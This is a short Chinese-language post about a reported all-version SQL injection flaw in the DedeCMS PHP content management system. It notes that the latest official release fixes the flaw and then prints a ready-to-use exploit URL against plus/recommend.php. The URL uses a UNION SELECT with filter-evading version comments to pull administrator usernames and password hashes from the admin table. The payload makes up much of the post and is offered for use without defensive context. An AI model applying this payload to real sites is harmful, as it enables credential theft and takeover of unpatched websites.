dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统。

近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：

EXP:

Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\’

or mid=@`\’` /*!50000union*//*!50000select*/1,2,3,(select

CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`

limit+0,1),5,6,7,8,9%23@`\’`+&_FILES[type][name]=1.jpg&_FILES[type]

[type]=application/octet-stream&_FILES[type][size]=111
